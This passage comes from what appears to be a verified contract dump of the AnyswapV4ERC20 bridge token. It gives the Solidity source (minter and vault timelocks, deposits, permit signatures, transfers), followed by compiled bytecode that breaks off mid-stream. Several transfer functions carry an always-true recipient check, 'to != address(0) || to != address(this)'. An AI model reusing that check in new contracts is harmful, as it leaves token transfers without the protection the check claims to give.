low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract AnyswapV4ERC20 is IAnyswapV3ERC20 { using SafeERC20 for IERC20; string public name; string public symbol; uint8 public immutable override decimals; address public immutable underlying; bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public immutable DOMAIN_SEPARATOR; /// @dev Records amount of AnyswapV3ERC20 token owned by account. mapping (address => uint256) public override balanceOf; uint256 private _totalSupply; // init flag for setting immediate vault, needed for CREATE2 support bool private _init; // flag to enable/disable swapout vs vault.burn so multiple events are triggered bool private _vaultOnly; // configurable delay for timelock functions uint public delay = 2*24*3600; // set of minters, can be this bridge or other bridges mapping(address => bool) public isMinter; address[] public minters; // primary controller of the token contract address public vault; address public pendingMinter; uint public delayMinter; address public pendingVault; uint public delayVault; uint public pendingDelay; uint public delayDelay; modifier onlyAuth() { require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN"); _; } modifier onlyVault() { require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN"); _; } function owner() public view returns (address) { return mpc(); } function mpc() public view returns (address) { if (block.timestamp >= delayVault) { return pendingVault; } return vault; } function setVaultOnly(bool enabled) external onlyVault { _vaultOnly = enabled; } function initVault(address _vault) external onlyVault { require(_init); vault = _vault; pendingVault = _vault; isMinter[_vault] = true; minters.push(_vault); delayVault = block.timestamp; _init = false; } function setMinter(address _auth) external onlyVault { pendingMinter = _auth; delayMinter = block.timestamp + delay; } function setVault(address _vault) external onlyVault { pendingVault = _vault; delayVault = block.timestamp + delay; } function applyVault() external onlyVault { require(block.timestamp >= delayVault); vault = pendingVault; } function applyMinter() external onlyVault { require(block.timestamp >= delayMinter); isMinter[pendingMinter] = true; minters.push(pendingMinter); } // No time delay revoke minter emergency function function revokeMinter(address _auth) external onlyVault { isMinter[_auth] = false; } function getAllMinters() external view returns (address[] memory) { return minters; } function changeVault(address newVault) external onlyVault returns (bool) { require(newVault != address(0), "AnyswapV3ERC20: address(0x0)"); pendingVault = newVault; delayVault = block.timestamp + delay; emit LogChangeVault(vault, pendingVault, delayVault); return true; } function changeMPCOwner(address newVault) public onlyVault returns (bool) { require(newVault != address(0), "AnyswapV3ERC20: address(0x0)"); pendingVault = newVault; delayVault = block.timestamp + delay; emit LogChangeMPCOwner(vault, pendingVault, delayVault); return true; } function mint(address to, uint256 amount) external onlyAuth returns (bool) { _mint(to, amount); return true; } function burn(address from, uint256 amount) external onlyAuth returns (bool) { require(from != address(0), "AnyswapV3ERC20: address(0x0)"); _burn(from, amount); return true; } function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) { _mint(account, amount); emit LogSwapin(txhash, account, amount); return true; } function Swapout(uint256 amount, string memory bindaddr) public returns (bool) { verifyBindAddr(bindaddr); require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth"); _burn(msg.sender, amount); emit LogSwapout(msg.sender, amount, bindaddr); return true; } function verifyBindAddr(string memory bindaddr) pure internal { uint length = bytes(bindaddr).length; require(length == 34, "address length is not 34"); bytes1 ch = bytes(bindaddr)[0]; require(ch == 'D' || ch == '6', "unsupported address leading symbol"); } /// @dev Records current ERC2612 nonce for account. This value must be included whenever signature is generated for {permit}. /// Every successful call to {permit} increases account's nonce by one. This prevents signature from being used multiple times. mapping (address => uint256) public override nonces; /// @dev Records number of AnyswapV3ERC20 token that account (second) will be allowed to spend on behalf of another account (first) through {transferFrom}. mapping (address => mapping (address => uint256)) public override allowance; event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime); event LogChangeMPCOwner(address indexed oldOwner, address indexed newOwner, uint indexed effectiveHeight); event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount); event LogSwapout(address indexed account, uint amount, string bindaddr); event LogAddAuth(address indexed auth, uint timestamp); constructor(string memory _name, string memory _symbol, uint8 _decimals, address _underlying, address _vault) { name = _name; symbol = _symbol; decimals = _decimals; underlying = _underlying; if (_underlying != address(0x0)) { require(_decimals == IERC20(_underlying).decimals()); } // Use init to allow for CREATE2 accross all chains _init = true; // Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens _vaultOnly = false; vault = _vault; pendingVault = _vault; delayVault = block.timestamp; uint256 chainId; assembly {chainId := chainid()} DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256(bytes("1")), chainId, address(this))); } /// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract. function totalSupply() external view override returns (uint256) { return _totalSupply; } function depositWithPermit(address target, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s, address to) external returns (uint) { IERC20(underlying).permit(target, address(this), value, deadline, v, r, s); IERC20(underlying).safeTransferFrom(target, address(this), value); return _deposit(value, to); } function depositWithTransferPermit(address target, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s, address to) external returns (uint) { IERC20(underlying).transferWithPermit(target, address(this), value, deadline, v, r, s); return _deposit(value, to); } function deposit() external returns (uint) { uint _amount = IERC20(underlying).balanceOf(msg.sender); IERC20(underlying).safeTransferFrom(msg.sender, address(this), _amount); return _deposit(_amount, msg.sender); } function deposit(uint amount) external returns (uint) { IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount); return _deposit(amount, msg.sender); } function deposit(uint amount, address to) external returns (uint) { IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount); return _deposit(amount, to); } function depositVault(uint amount, address to) external onlyVault returns (uint) { return _deposit(amount, to); } function _deposit(uint amount, address to) internal returns (uint) { require(underlying != address(0x0) && underlying != address(this)); _mint(to, amount); return amount; } function withdraw() external returns (uint) { return _withdraw(msg.sender, balanceOf[msg.sender], msg.sender); } function withdraw(uint amount) external returns (uint) { return _withdraw(msg.sender, amount, msg.sender); } function withdraw(uint amount, address to) external returns (uint) { return _withdraw(msg.sender, amount, to); } function withdrawVault(address from, uint amount, address to) external onlyVault returns (uint) { return _withdraw(from, amount, to); } function _withdraw(address from, uint amount, address to) internal returns (uint) { _burn(from, amount); IERC20(underlying).safeTransfer(to, amount); return amount; } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; balanceOf[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); balanceOf[account] -= amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token. /// Emits {Approval} event. /// Returns boolean value indicating whether operation succeeded. function approve(address spender, uint256 value) external override returns (bool) { // _approve(msg.sender, spender, value); allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token, /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// Emits {Approval} event. /// Returns boolean value indicating whether operation succeeded. /// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677. function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) { // _approve(msg.sender, spender, value); allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data); } /// @dev Sets `value` as allowance of `spender` account over `owner` account's AnyswapV3ERC20 token, given `owner` account's signed approval. /// Emits {Approval} event. /// Requirements: /// - `deadline` must be timestamp in future. /// - `v`, `r` and `s` must be valid `secp256k1` signature from `owner` account over EIP712-formatted function arguments. /// - the signature must use `owner` account's current nonce (see {nonces}). /// - the signer cannot be zero address and must be `owner` account. /// For more information on signature format, see https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP section]. /// AnyswapV3ERC20 token implementation adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol. function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override { require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit"); bytes32 hashStruct = keccak256( abi.encode( PERMIT_TYPEHASH, target, spender, value, nonces[target]++, deadline)); require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s)); // _approve(owner, spender, value); allowance[target][spender] = value; emit Approval(target, spender, value); } function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) { require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit"); bytes32 hashStruct = keccak256( abi.encode( TRANSFER_TYPEHASH, target, to, value, nonces[target]++, deadline)); require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s)); require(to != address(0) || to != address(this)); uint256 balance = balanceOf[target]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[target] = balance - value; balanceOf[to] += value; emit Transfer(target, to, value); return true; } function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) { bytes32 hash = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, hashStruct)); address signer = ecrecover(hash, v, r, s); return (signer != address(0) && signer == target); } function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal pure returns (bool) { bytes32 hash = prefixed(hashStruct); address signer = ecrecover(hash, v, r, s); return (signer != address(0) && signer == target); } // Builds a prefixed hash to mimic the behavior of eth_sign. function prefixed(bytes32 hash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`). /// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - caller account must have at least `value` AnyswapV3ERC20 token. function transfer(address to, uint256 value) external override returns (bool) { require(to != address(0) || to != address(this)); uint256 balance = balanceOf[msg.sender]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[msg.sender] = balance - value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); return true; } /// @dev Moves `value` AnyswapV3ERC20 token from account (`from`) to account (`to`) using allowance mechanism. /// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`. /// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Approval} event to reflect reduced allowance `value` for caller account to spend from account (`from`), /// unless allowance is set to `type(uint256).max` /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - `from` account must have at least `value` balance of AnyswapV3ERC20 token. /// - `from` account must have approved caller to spend at least `value` of AnyswapV3ERC20 token, unless `from` and caller are the same account. function transferFrom(address from, address to, uint256 value) external override returns (bool) { require(to != address(0) || to != address(this)); if (from != msg.sender) { // _decreaseAllowance(from, msg.sender, value); uint256 allowed = allowance[from][msg.sender]; if (allowed != type(uint256).max) { require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance"); uint256 reduced = allowed - value; allowance[from][msg.sender] = reduced; emit Approval(from, msg.sender, reduced); } } uint256 balance = balanceOf[from]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[from] = balance - value; balanceOf[to] += value; emit Transfer(from, to, value); return true; } /// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`), /// after which a call is executed to an ERC677-compliant contract with the `data` parameter. /// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller. /// Emits {Transfer} event. /// Returns boolean value indicating whether operation succeeded. /// Requirements: /// - caller account must have at least `value` AnyswapV3ERC20 token. /// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677. function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) { require(to != address(0) || to != address(this)); uint256 balance = balanceOf[msg.sender]; require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance"); balanceOf[msg.sender] = balance - value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data); } }
0x608060405234801561001057600080fd5b506004361061033f5760003560e01c806381a37c18116101b8578063bebbf4d011610104578063d93f2445116100a2578063f75c26641161007c578063f75c266414610774578063f954734e1461077c578063fbfa77cf1461078f578063fca3b5aa146107a25761033f565b8063d93f24451461072e578063dd62ed3e14610736578063ec126c77146107615761033f565b8063cae9ca51116100de578063cae9ca51146106ed578063cfbd488514610700578063d0e30db014610713578063d505accf1461071b5761033f565b8063bebbf4d0146106be578063c3081240146106d1578063c4b740f5146106da5761033f565b80639dc29fac11610171578063a9059cbb1161014b578063a9059cbb14610662578063aa271e1a14610675578063ad54056d14610698578063b6b55f25146106ab5761033f565b80639dc29fac14610631578063a045442c14610644578063a29dff72146106595761033f565b806381a37c18146105df5780638623ec7b146105f257806387689e28146106055780638da5cb5b1461060e57806391c5df491461061657806395d89b41146106295761033f565b80633ccfd60b1161029257806360e232a9116102305780636e553f651161020a5780636e553f65146105655780636f307dc31461057857806370a082311461059f5780637ecebe00146105bf5761033f565b806360e232a9146105365780636817031b146105495780636a42b8f81461055c5761033f565b80634ca8f0ed1161026c5780634ca8f0ed146104dc57806352113ba7146104e55780635f9b105d14610510578063605629d6146105235761033f565b80633ccfd60b146104ae5780634000aea0146104b657806340c10f19146104c95761033f565b806318160ddd116102ff5780632ebe3fbb116102d95780632ebe3fbb1461041457806330adf81f14610427578063313ce5671461044e5780633644e515146104875761033f565b806318160ddd146103e657806323b872dd146103ee5780632e1a7d4d146104015761033f565b806239d6ec14610344578062bf26f41461036a578062f714ce1461039157806306fdde03146103a4578063095ea7b3146103b95780630d707df8146103dc575b600080fd5b610357610352366004612530565b6107b5565b6040519081526020015b60405180910390f35b6103577f42ce63790c28229c123925d83266e77c04d28784552ab68b350a9003226cbd5981565b61035761039f3660046126e2565b61080b565b6103ac61081f565b60405161036191906128d8565b6103cc6103c7366004612507565b6108ad565b6040519015158152602001610361565b6103e4610907565b005b6103576109c3565b6103cc6103fc366004612463565b6109ca565b61035761040f3660046126b2565b610bb5565b6103e4610422366004612417565b610bca565b6103577f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b6104757f000000000000000000000000000000000000000000000000000000000000000881565b60405160ff9091168152602001610361565b6103577fb5ddc4a5f49e1b7433cb25d02cf7acf3fb41e7b070aa9749dd9e02973d830b5b81565b610357610ca1565b6103cc6104c436600461256b565b610cc2565b6103cc6104d7366004612507565b610e1b565b610357600d5481565b600b546104f8906001600160a01b031681565b6040516001600160a01b039091168152602001610361565b6103cc61051e366004612417565b610e5d565b6103cc61053136600461249e565b610f31565b6103cc610544366004612417565b611141565b6103e4610557366004612417565b611215565b61035760055481565b6103576105733660046126e2565b61127b565b6104f87f000000000000000000000000000000000000000000000000000000000000000081565b6103576105ad366004612417565b60026020526000908152604090205481565b6103576105cd366004612417565b600f6020526000908152604090205481565b6103576105ed3660046125ed565b6112bc565b6104f86106003660046126b2565b611396565b610357600c5481565b6104f86113c0565b6009546104f8906001600160a01b031681565b6103ac6113ca565b6103cc61063f366004612507565b6113d7565b61064c611436565b604051610361919061288b565b610357600e5481565b6103cc610670366004612507565b611498565b6103cc610683366004612417565b60066020526000908152604090205460ff1681565b6103cc6106a6366004612704565b61156e565b6103576106b93660046126b2565b611627565b6103576106cc3660046126e2565b611668565b610357600a5481565b6103e46106e8366004612656565b6116a2565b6103cc6106fb36600461256b565b6116f4565b6103e461070e366004612417565b6117d0565b610357611829565b6103e461072936600461249e565b61190c565b6103e4611a7a565b610357610744366004612431565b601060209081526000928352604080842090915290825290205481565b6103cc61076f36600461268e565b611ae5565b6104f8611b5a565b61035761078a3660046125ed565b611b87565b6008546104f8906001600160a01b031681565b6103e46107b0366004612417565b611c3f565b60006107bf611b5a565b6001600160a01b0316336001600160a01b0316146107f85760405162461bcd60e51b81526004016107ef906128eb565b60405180910390fd5b610803848484611ca5565b949350505050565b6000610818338484611ca5565b9392505050565b6000805461082c90612a53565b80601f016020809104026020016040519081016040528092919081815260200182805461085890612a53565b80156108a55780601f1061087a576101008083540402835291602001916108a5565b820191906000526020600020905b81548152906001019060200180831161088857829003601f168201915b505050505081565b3360008181526010602090815260408083206001600160a01b03871680855292528083208590555191929091600080516020612b07833981519152906108f69086815260200190565b60405180910390a350600192915050565b61090f611b5a565b6001600160a01b0316336001600160a01b03161461093f5760405162461bcd60e51b81526004016107ef906128eb565b600a5442101561094e57600080fd5b600980546001600160a01b039081166000908152600660205260408120805460ff1916600190811790915592546007805494850181559091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68890920180546001600160a01b03191692909116919091179055565b6003545b90565b60006001600160a01b0383161515806109ec57506001600160a01b0383163014155b6109f557600080fd5b6001600160a01b0384163314610aef576001600160a01b03841660009081526010602090815260408083203384529091529020546000198114610aed5782811015610a945760405162461bcd60e51b815260206004820152602960248201527f416e7973776170563345524332303a2072657175657374206578636565647320604482015268616c6c6f77616e636560b81b60648201526084016107ef565b6000610aa08483612a10565b6001600160a01b03871660008181526010602090815260408083203380855290835292819020859055518481529394509092600080516020612b07833981519152910160405180910390a3505b505b6001600160a01b03841660009081526002602052604090205482811015610b285760405162461bcd60e51b81526004016107ef90612959565b610b328382612a10565b6001600160a01b038087166000908152600260205260408082209390935590861681529081208054859290610b689084906129f8565b92505081905550836001600160a01b0316856001600160a01b0316600080516020612ae783398151915285604051610ba291815260200190565b60405180910390a3506001949350505050565b6000610bc2338333611ca5565b90505b919050565b610bd2611b5a565b6001600160a01b0316336001600160a01b031614610c025760405162461bcd60e51b81526004016107ef906128eb565b60045460ff16610c1157600080fd5b600880546001600160a01b039092166001600160a01b03199283168117909155600b80548316821790556000818152600660205260408120805460ff1990811660019081179092556007805492830181559092527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68801805490931690911790915542600c55600480549091169055565b336000818152600260205260408120549091610cbd9181611ca5565b905090565b60006001600160a01b038516151580610ce457506001600160a01b0385163014155b610ced57600080fd5b3360009081526002602052604090205484811015610d1d5760405162461bcd60e51b81526004016107ef90612959565b610d278582612a10565b33600090815260026020526040808220929092556001600160a01b03881681529081208054879290610d5a9084906129f8565b90915550506040518581526001600160a01b038716903390600080516020612ae78339815191529060200160405180910390a3604051635260769b60e11b81526001600160a01b0387169063a4c0ed3690610dbf903390899089908990600401612843565b602060405180830381600087803b158015610dd957600080fd5b505af1158015610ded573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e119190612672565b9695505050505050565b3360009081526006602052604081205460ff16610e4a5760405162461bcd60e51b81526004016107ef906129a8565b610e548383611ced565b50600192915050565b6000610e67611b5a565b6001600160a01b0316336001600160a01b031614610e975760405162461bcd60e51b81526004016107ef906128eb565b6001600160a01b038216610ebd5760405162461bcd60e51b81526004016107ef90612922565b600b80546001600160a01b0319166001600160a01b038416179055600554610ee590426129f8565b600c819055600b546008546040516001600160a01b0392831692909116907f1d065115f314fb9bad9557bd5460b9e3c66f7223b1dd04e73e828f0bb5afe89f90600090a4506001919050565b600084421115610f835760405162461bcd60e51b815260206004820152601e60248201527f416e7973776170563345524332303a2045787069726564207065726d6974000060448201526064016107ef565b6001600160a01b0388166000908152600f6020526040812080547f42ce63790c28229c123925d83266e77c04d28784552ab68b350a9003226cbd59918b918b918b919086610fd083612a8e565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810187905260e0016040516020818303038152906040528051906020012090506110318982878787611dbb565b8061104457506110448982878787611eab565b61104d57600080fd5b6001600160a01b03881615158061106d57506001600160a01b0388163014155b61107657600080fd5b6001600160a01b038916600090815260026020526040902054878110156110af5760405162461bcd60e51b81526004016107ef90612959565b6110b98882612a10565b6001600160a01b03808c1660009081526002602052604080822093909355908b16815290812080548a92906110ef9084906129f8565b92505081905550886001600160a01b03168a6001600160a01b0316600080516020612ae78339815191528a60405161112991815260200190565b60405180910390a35060019998505050505050505050565b600061114b611b5a565b6001600160a01b0316336001600160a01b03161461117b5760405162461bcd60e51b81526004016107ef906128eb565b6001600160a01b0382166111a15760405162461bcd60e51b81526004016107ef90612922565b600b80546001600160a01b0319166001600160a01b0384161790556005546111c990426129f8565b600c819055600b546008546040516001600160a01b0392831692909116907f5c364079e7102c27c608f9b237c735a1b7bfa0b67f27c2ad26bad447bf965cac90600090a4506001919050565b61121d611b5a565b6001600160a01b0316336001600160a01b03161461124d5760405162461bcd60e51b81526004016107ef906128eb565b600b80546001600160a01b0319166001600160a01b03831617905560055461127590426129f8565b600c5550565b60006112b26001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016333086611f40565b6108188383611fb1565b60405163d505accf60e01b81526000906001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063d505accf90611317908b9030908c908c908c908c908c90600401612802565b600060405180830381600087803b15801561133157600080fd5b505af1158015611345573d6000803e3d6000fd5b506113809250506001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016905089308a611f40565b61138a8783611fb1565b98975050505050505050565b600781815481106113a657600080fd5b6000918252602090912001546001600160a01b0316905081565b6000610cbd611b5a565b6001805461082c90612a53565b3360009081526006602052604081205460ff166114065760405162461bcd60e51b81526004016107ef906129a8565b6001600160a01b03831661142c5760405162461bcd60e51b81526004016107ef90612922565b610e54838361202e565b6060600780548060200260200160405190810160405280929190818152602001828054801561148e57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311611470575b5050505050905090565b60006001600160a01b0383161515806114ba57506001600160a01b0383163014155b6114c357600080fd5b33600090815260026020526040902054828110156114f35760405162461bcd60e51b81526004016107ef90612959565b6114fd8382612a10565b33600090815260026020526040808220929092556001600160a01b038616815290812080548592906115309084906129f8565b90915550506040518381526001600160a01b038516903390600080516020612ae7833981519152906020015b60405180910390a35060019392505050565b600061157982612100565b600454610100900460ff16156115d15760405162461bcd60e51b815260206004820152601860248201527f416e7973776170563445524332303a206f6e6c7941757468000000000000000060448201526064016107ef565b6115db338461202e565b336001600160a01b03167f9c92ad817e5474d30a4378deface765150479363a897b0590fbb12ae9d89396b84846040516116169291906129df565b60405180910390a250600192915050565b600061165e6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016333085611f40565b610bc28233611fb1565b6000611672611b5a565b6001600160a01b0316336001600160a01b0316146112b25760405162461bcd60e51b81526004016107ef906128eb565b6116aa611b5a565b6001600160a01b0316336001600160a01b0316146116da5760405162461bcd60e51b81526004016107ef906128eb565b600480549115156101000261ff0019909216919091179055565b3360008181526010602090815260408083206001600160a01b03891680855292528083208790555191929091600080516020612b078339815191529061173d9088815260200190565b60405180910390a360405162ba451f60e01b81526001600160a01b0386169062ba451f90611775903390889088908890600401612843565b602060405180830381600087803b15801561178f57600080fd5b505af11580156117a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c79190612672565b95945050505050565b6117d8611b5a565b6001600160a01b0316336001600160a01b0316146118085760405162461bcd60e51b81526004016107ef906128eb565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6040516370a0823160e01b815233600482015260009081906001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016906370a082319060240160206040518083038186803b15801561188d57600080fd5b505afa1580156118a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118c591906126ca565b90506118fc6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016333084611f40565b6119068133611fb1565b91505090565b8342111561195c5760405162461bcd60e51b815260206004820152601e60248201527f416e7973776170563345524332303a2045787069726564207065726d6974000060448201526064016107ef565b6001600160a01b0387166000908152600f6020526040812080547f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918a918a918a9190866119a983612a8e565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810186905260e001604051602081830303815290604052805190602001209050611a0a8882868686611dbb565b80611a1d5750611a1d8882868686611eab565b611a2657600080fd5b6001600160a01b038881166000818152601060209081526040808320948c16808452948252918290208a90559051898152600080516020612b07833981519152910160405180910390a35050505050505050565b611a82611b5a565b6001600160a01b0316336001600160a01b031614611ab25760405162461bcd60e51b81526004016107ef906128eb565b600c54421015611ac157600080fd5b600b54600880546001600160a01b0319166001600160a01b03909216919091179055565b3360009081526006602052604081205460ff16611b145760405162461bcd60e51b81526004016107ef906129a8565b611b1e8383611ced565b826001600160a01b0316847f05d0634fe981be85c22e2942a880821b70095d84e152c3ea3c17a4e4250d9d618460405161155c91815260200190565b6000600c544210611b775750600b546001600160a01b03166109c7565b506008546001600160a01b031690565b60405163302b14eb60e11b81526000906001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063605629d690611be2908b9030908c908c908c908c908c90600401612802565b602060405180830381600087803b158015611bfc57600080fd5b505af1158015611c10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c349190612672565b5061138a8783611fb1565b611c47611b5a565b6001600160a01b0316336001600160a01b031614611c775760405162461bcd60e51b81526004016107ef906128eb565b600980546001600160a01b0319166001600160a01b038316179055600554611c9f90426129f8565b600a5550565b6000611cb1848461202e565b611ce56001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000168385612201565b509092915050565b6001600160a01b038216611d435760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016107ef565b8060036000828254611d5591906129f8565b90915550506001600160a01b03821660009081526002602052604081208054839290611d829084906129f8565b90915550506040518181526001600160a01b03831690600090600080516020612ae7833981519152906020015b60405180910390a35050565b60405161190160f01b60208201527fb5ddc4a5f49e1b7433cb25d02cf7acf3fb41e7b070aa9749dd9e02973d830b5b602282015260428101859052600090819060620160408051601f198184030181528282528051602091820120600080855291840180845281905260ff89169284019290925260608301879052608083018690529092509060019060a0015b6020604051602081039080840390855afa158015611e6a573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381161580159061138a5750876001600160a01b0316816001600160a01b03161498975050505050505050565b600080611f05866040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c8101829052600090605c01604051602081830303815290604052805190602001209050919050565b6040805160008082526020820180845284905260ff89169282019290925260608101879052608081018690529192509060019060a001611e48565b6040516001600160a01b0380851660248301528316604482015260648101829052611fab9085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152612231565b50505050565b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03161580159061201457507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03163014155b61201d57600080fd5b6120278284611ced565b5090919050565b6001600160a01b03821661208e5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016107ef565b6001600160a01b038216600090815260026020526040812080548392906120b6908490612a10565b9250508190555080600360008282546120cf9190612a10565b90915550506040518181526000906001600160a01b03841690600080516020612ae783398151915290602001611daf565b8051602281146121525760405162461bcd60e51b815260206004820152601860248201527f61646472657373206c656e677468206973206e6f74203334000000000000000060448201526064016107ef565b60008260008151811061217557634e487b7160e01b600052603260045260246000fd5b01602001516001600160f81b0319169050601160fa1b8114806121a55750601b60f91b6001600160f81b03198216145b6121fc5760405162461bcd60e51b815260206004820152602260248201527f756e737570706f727465642061646472657373206c656164696e672073796d626044820152611bdb60f21b60648201526084016107ef565b505050565b6040516001600160a01b0383166024820152604481018290526121fc90849063a9059cbb60e01b90606401611f74565b612243826001600160a01b03166123b8565b61228f5760405162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740060448201526064016107ef565b600080836001600160a01b0316836040516122aa91906127e6565b6000604051808303816000865af19150503d80600081146122e7576040519150601f19603f3d011682016040523d82523d6000602084013e6122ec565b606091505b50915091508161233e5760405162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656460448201526064016107ef565b805115611fab57808060200190518101906123599190612672565b611fab5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016107ef565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906108035750141592915050565b80356001600160a01b0381168114610bc557600080fd5b803560ff81168114610bc557600080fd5b600060208284031215612428578081fd5b610818826123ef565b60008060408385031215612443578081fd5b61244c836123ef565b915061245a602084016123ef565b90509250929050565b600080600060608486031215612477578081fd5b612480846123ef565b925061248e602085016123ef565b9150604084013590509250925092565b600080600080600080600060e0888a0312156124b8578283fd5b6124c1886123ef565b96506124cf602089016123ef565b955060408801359450606088013593506124eb60808901612406565b925060a0880135915060c0880135905092959891949750929550565b60008060408385031215612519578182fd5b612522836123ef565b946020939093013593505050565b600080600060608486031215612544578283fd5b61254d846123ef565b925060208401359150612562604085016123ef565b90509250925092565b60008060008060608587031215612580578384fd5b612589856123ef565b935060208501359250604085013567ffffffffffffffff808211156125ac578384fd5b818701915087601f8301126125bf578384fd5b8135818111156125cd578485fd5b8860208285010111156125de578485fd5b9598949750